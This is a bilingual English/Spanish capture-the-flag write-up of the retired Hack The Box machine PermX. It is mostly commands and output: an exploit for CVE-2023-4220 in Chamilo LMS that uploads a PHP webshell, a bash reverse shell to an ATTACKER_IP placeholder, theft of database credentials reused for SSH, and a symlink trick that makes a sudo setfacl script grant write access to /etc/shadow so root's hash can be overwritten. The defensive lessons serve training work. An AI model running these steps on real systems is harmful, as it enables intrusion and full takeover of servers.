PermX
Executive summary — PermX chains an unauthenticated file upload in Chamilo LMS (CVE-2023-4220) with a credential reuse between the application's database and a system account, ending in a symlink abuse of a
sudoscript wrappingsetfacl— the script's path validation trusts that-fmeans "it's a file", but that's also true for a symlink pointing outside the allowed directory.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.39.120 |
Attack map
[80] permx.htb — static "eLEARNING" template, no backend
│ vhost lms.permx.htb -> Chamilo LMS 1.11.24
▼
[80] lms.permx.htb — Chamilo LMS
│ CVE-2023-4220 — unauthenticated file upload (bigUpload.php)
▼
[RCE] www-data
│ configuration.php leaks DB credentials, reused as the SSH
│ password for the system user mtz
▼
[SSH] mtz (user.txt)
│ sudo NOPASSWD /opt/acl.sh -> setfacl follows symlinks,
│ the script only validates the path prefix (not the real type)
▼
[ROOT] symlink to /etc/shadow + setfacl -> overwrite root's hash
1. Reconnaissance
nmap -p- --min-rate 5000 -T4 -oN nmap_all_ports.txt 10.129.39.120
Only two open ports:
nmap -p22,80 -sC -sV -oN nmap_sc.txt 10.129.39.120
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://permx.htb
echo "10.129.39.120 permx.htb" | sudo tee -a /etc/hosts
permx.htb turns out to be a static template for an "eLEARNING" company (Bootstrap, no real backend). A page like that makes it worth suspecting a subdomain tied to the business theme. A blind gobuster vhost produced a long list of false positives: the server answers with a generic 302 to permx.htb for any unconfigured vhost, and the tool didn't filter by response size. That output was discarded and manually verified against a random control vhost instead:
curl -s -o /dev/null -w "%{http_code} %{size_download}\n" -H "Host: lms.permx.htb" http://permx.htb/
# 200 19347 (vs 302 292 for a random, non-existent vhost)
echo "10.129.39.120 lms.permx.htb" >> /etc/hosts
curl -s -i http://lms.permx.htb/ | grep -iE "powered-by|generator"
X-Powered-By: Chamilo 1
<meta name="generator" content="Chamilo 1">
Resumen ejecutivo — PermX combina una subida de fichero no autenticada en Chamilo LMS (CVE-2023-4220) con una reutilización de credenciales entre la base de datos de la aplicación y una cuenta del sistema, para acabar en un abuso de symlink sobre un script de
sudoque envuelvesetfacl— la validación de ruta del script confía en que-fcomprueba "es un fichero", pero también es cierto para un enlace simbólico que apunta fuera del directorio permitido.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.39.120 |
Mapa del ataque
[80] permx.htb — plantilla estática "eLEARNING", sin backend
│ vhost lms.permx.htb -> Chamilo LMS 1.11.24
▼
[80] lms.permx.htb — Chamilo LMS
│ CVE-2023-4220 — subida de fichero no autenticada (bigUpload.php)
▼
[RCE] www-data
│ configuration.php filtra credenciales de BD, reutilizadas como
│ contraseña SSH del usuario del sistema mtz
▼
[SSH] mtz (user.txt)
│ sudo NOPASSWD /opt/acl.sh -> setfacl sigue symlinks,
│ el script solo valida el prefijo de ruta (no el tipo real)
▼
[ROOT] symlink a /etc/shadow + setfacl -> sobrescribir hash de root
1. Reconocimiento
nmap -p- --min-rate 5000 -T4 -oN nmap_all_ports.txt 10.129.39.120
Solo dos puertos abiertos:
nmap -p22,80 -sC -sV -oN nmap_sc.txt 10.129.39.120
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://permx.htb
echo "10.129.39.120 permx.htb" | sudo tee -a /etc/hosts
permx.htb resulta ser una plantilla estática de una empresa de "eLEARNING" (Bootstrap, sin funcionalidad de backend). Ante una página así, lo lógico es sospechar de un subdominio relacionado con la temática del negocio. Un gobuster vhost a ciegas produjo una lista larga de falsos positivos: el servidor responde con un 302 genérico a permx.htb para cualquier vhost no configurado, y la herramienta no filtró por tamaño de respuesta. Se descartó ese output y se verificó a mano contra un vhost aleatorio de control:
curl -s -o /dev/null -w "%{http_code} %{size_download}\n" -H "Host: lms.permx.htb" http://permx.htb/
# 200 19347 (vs 302 292 para un vhost aleatorio no existente)
echo "10.129.39.120 lms.permx.htb" >> /etc/hosts
curl -s -i http://lms.permx.htb/ | grep -iE "powered-by|generator"
X-Powered-By: Chamilo 1
<meta name="generator" content="Chamilo 1">
2. Initial exploitation — CVE-2023-4220 (RCE as www-data)
Chamilo LMS ≤ 1.11.24 exposes
main/inc/lib/javascript/bigupload/inc/bigUpload.phpwith thepost-unsupportedaction, which accepts arbitrary files (including.php) without authentication and drops them into a directory directly reachable and executable by Apache. A textbook case of why an upload directory should never also be a servable-code directory.
searchsploit -m php/webapps/52083.py -p /home/kali/htb-permx/
python3 52083.py http://lms.permx.htb/ "id"
[+] File uploaded successfully!
[+] Access the shell at: http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php?cmd=
[+] Command Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
The exploit uploads a minimal PHP webshell (rce.php, system($_GET['cmd'])). With RCE confirmed, a reverse shell to a local listener:
nc -lvnp 4444
# via the cmd parameter of the uploaded webshell:
curl "http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php?cmd=$(python3 -c "import urllib.parse;print(urllib.parse.quote(\"bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'\"))")"
3. Credential pivot (user.txt)
Any web app with RCE keeps its own database credentials in some config file somewhere. For Chamilo:
curl -s "http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php?cmd=cat%20/var/www/chamilo/app/config/configuration.php" | grep -iE "pass|user|db_"
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
/etc/passwd shows a single system user with a shell: mtz. Trying the database password as mtz's SSH password is the obvious next move — and it works:
sshpass -p '03F6lY3uXAP2bkW8' ssh mtz@10.129.39.120 "id; cat /home/mtz/user.txt"
uid=1000(mtz) gid=1000(mtz) groups=1000(mtz)
6be0403abb5e9377eaa17d691e71afac
user.txt: 6be0403abb5e9377eaa17d691e71afac
4. Privilege escalation (root.txt)
sudo -l
User mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.sh
#!/bin/bash
if [ "$#" -ne 3 ]; then
/usr/bin/echo "Usage: $0 user perm file"
exit 1
fi
user="$1"; perm="$2"; target="$3"
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
/usr/bin/echo "Access denied."
exit 1
fi
if [ ! -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
The script checks that the path starts with
/home/mtz/, contains no.., and confirms with-fthat it's a file. None of those three checks rule out a symlink: bash's-ffollows a link to the real target file, andsetfaclalso follows symlinks by default when applying an ACL. A link inside/home/mtz/pointing at/etc/shadowpasses all three checks and makessetfacloperate directly on/etc/shadow.
ln -sf /etc/shadow /home/mtz/shadow_link
sudo /opt/acl.sh mtz rwx /home/mtz/shadow_link
getfacl /etc/shadow
# file: etc/shadow
# owner: root
# group: shadow
user::rw-
user:mtz:rwx
group::r--
mask::rwx
other::---
With write access to /etc/shadow, a SHA-512 hash is generated for a known password and root's entry is overwritten (via a Python script executed remotely, to avoid $-expansion issues in the local shell):
openssl passwd -6 -salt saltx 'Passw0rd123!'
# $6$saltx$4tYYgPQh6ev4PwGnJX3PnbOFHh3xDYNG96AotMMP1oAN3g0EHCNkVXBCa6fdb3GigO6hywGp79ac6Hp7Lq9pY1
newhash = '$6$saltx$4tYYgPQh6ev4PwGnJX3PnbOFHh3xDYNG96AotMMP1oAN3g0EHCNkVXBCa6fdb3GigO6hywGp79ac6Hp7Lq9pY1'
content = open('/etc/shadow').read().splitlines()
newlines = []
for line in content:
if line.startswith('root:'):
parts = line.split(':'); parts[1] = newhash
newlines.append(':'.join(parts))
else:
newlines.append(line)
open('/etc/shadow','w').write('\n'.join(newlines)+'\n')
echo 'Passw0rd123!' | su -c 'id; cat /root/root.txt' root
uid=0(root) gid=0(root) groups=0(root)
b5a490623997f5b9ae80d36242493f09
root.txt: b5a490623997f5b9ae80d36242493f09
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold | Chamilo LMS — bigUpload.php | CVE-2023-4220 — unauthenticated arbitrary file upload | RCE as www-data |
| Lateral movement | configuration.php / SSH | DB password reused as SSH password for user mtz | Access as mtz (user.txt) |
| PrivEsc | /opt/acl.sh (sudo NOPASSWD) + setfacl | Prefix-only path validation, doesn't rule out symlinks | Root via /etc/shadow overwrite (root.txt) |
Lessons learned
- Faced with a "template" page with no apparent functionality, it's worth suspecting a theme-related subdomain (here, "eLEARNING" → LMS) and verifying it by hand with
curl -H "Host: ..."instead of trusting a fuzzer blindly when the server has catch-all behavior. - Web application config files (
configuration.php,.env,wp-config.php...) are a common source of reusable credentials for SSH/system access — always check them after getting application-level RCE. - A
sudoscript that only validates a path prefix (target == /home/user/*) is vulnerable to symlinks unless it resolves the real path (readlink -f) before operating, or uses options that avoid following links. This pattern — prefix check + symlink follow — repeats across many other "utility" scripts placed in sudoers.
2. Explotación inicial — CVE-2023-4220 (RCE como www-data)
Chamilo LMS ≤ 1.11.24 expone
main/inc/lib/javascript/bigupload/inc/bigUpload.phpcon la acciónpost-unsupported, que acepta ficheros arbitrarios (incluido.php) sin autenticación y los deja en un directorio directamente accesible y ejecutable por Apache. Un caso de manual de por qué un directorio de subidas nunca debería ser también un directorio servible como código.
searchsploit -m php/webapps/52083.py -p /home/kali/htb-permx/
python3 52083.py http://lms.permx.htb/ "id"
[+] File uploaded successfully!
[+] Access the shell at: http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php?cmd=
[+] Command Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
El exploit sube una webshell PHP mínima (rce.php, system($_GET['cmd'])). Con RCE confirmado, una reverse shell hacia un listener local:
nc -lvnp 4444
# vía el parámetro cmd de la webshell subida:
curl "http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php?cmd=$(python3 -c "import urllib.parse;print(urllib.parse.quote(\"bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'\"))")"
3. Pivote de credenciales (user.txt)
Cualquier aplicación web con RCE guarda en algún fichero de configuración las credenciales para conectar a su propia base de datos. En Chamilo:
curl -s "http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php?cmd=cat%20/var/www/chamilo/app/config/configuration.php" | grep -iE "pass|user|db_"
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
/etc/passwd revela un único usuario del sistema con shell: mtz. Probar la contraseña de la base de datos como contraseña SSH de mtz es el siguiente paso obligado — y funciona:
sshpass -p '03F6lY3uXAP2bkW8' ssh mtz@10.129.39.120 "id; cat /home/mtz/user.txt"
uid=1000(mtz) gid=1000(mtz) groups=1000(mtz)
6be0403abb5e9377eaa17d691e71afac
user.txt: 6be0403abb5e9377eaa17d691e71afac
4. Escalada de privilegios (root.txt)
sudo -l
User mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.sh
#!/bin/bash
if [ "$#" -ne 3 ]; then
/usr/bin/echo "Usage: $0 user perm file"
exit 1
fi
user="$1"; perm="$2"; target="$3"
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
/usr/bin/echo "Access denied."
exit 1
fi
if [ ! -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
El script valida que la ruta empiece por
/home/mtz/, que no contenga.., y comprueba con-fque sea un fichero. Ninguna de las tres comprobaciones descarta un symlink:-fen bash sigue el enlace hasta el fichero real, ysetfaclpor defecto también sigue symlinks al aplicar la ACL. Un enlace dentro de/home/mtz/que apunte a/etc/shadowpasa las tres validaciones y hace quesetfaclopere directamente sobre/etc/shadow.
ln -sf /etc/shadow /home/mtz/shadow_link
sudo /opt/acl.sh mtz rwx /home/mtz/shadow_link
getfacl /etc/shadow
# file: etc/shadow
# owner: root
# group: shadow
user::rw-
user:mtz:rwx
group::r--
mask::rwx
other::---
Con permisos de escritura sobre /etc/shadow, se genera un hash SHA-512 para una contraseña conocida y se sobrescribe la entrada de root (vía un script Python ejecutado en remoto, para evitar problemas de expansión de $ en el shell local):
openssl passwd -6 -salt saltx 'Passw0rd123!'
# $6$saltx$4tYYgPQh6ev4PwGnJX3PnbOFHh3xDYNG96AotMMP1oAN3g0EHCNkVXBCa6fdb3GigO6hywGp79ac6Hp7Lq9pY1
newhash = '$6$saltx$4tYYgPQh6ev4PwGnJX3PnbOFHh3xDYNG96AotMMP1oAN3g0EHCNkVXBCa6fdb3GigO6hywGp79ac6Hp7Lq9pY1'
content = open('/etc/shadow').read().splitlines()
newlines = []
for line in content:
if line.startswith('root:'):
parts = line.split(':'); parts[1] = newhash
newlines.append(':'.join(parts))
else:
newlines.append(line)
open('/etc/shadow','w').write('\n'.join(newlines)+'\n')
echo 'Passw0rd123!' | su -c 'id; cat /root/root.txt' root
uid=0(root) gid=0(root) groups=0(root)
b5a490623997f5b9ae80d36242493f09
root.txt: b5a490623997f5b9ae80d36242493f09
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Foothold | Chamilo LMS — bigUpload.php | CVE-2023-4220 — subida de fichero arbitraria no autenticada | RCE como www-data |
| Movimiento lateral | configuration.php / SSH | Contraseña de BD reutilizada como contraseña SSH del usuario mtz | Acceso como mtz (user.txt) |
| PrivEsc | /opt/acl.sh (sudo NOPASSWD) + setfacl | Validación de ruta por prefijo, sin descartar symlinks | Root vía sobrescritura de /etc/shadow (root.txt) |
Lecciones aprendidas
- Ante una página "plantilla" sin funcionalidad aparente, conviene sospechar de subdominios temáticos (aquí, "eLEARNING" → LMS) y verificarlos a mano con
curl -H "Host: ..."en lugar de confiar ciegamente en un fuzzer cuando el servidor tiene comportamiento catch-all. - Los ficheros de configuración de aplicaciones web (
configuration.php,.env,wp-config.php...) son una fuente habitual de credenciales reutilizables para acceso SSH/sistema — siempre revisar tras conseguir RCE a nivel de aplicación. - Un script de
sudoque solo valida un prefijo de ruta (target == /home/user/*) es vulnerable a symlinks si no resuelve la ruta real (readlink -f) antes de operar, ni usa opciones que eviten seguir enlaces. Este patrón — comprobación de prefijo + seguimiento de symlink — se repite en muchos otros scripts de "utilidad" colocados en sudoers.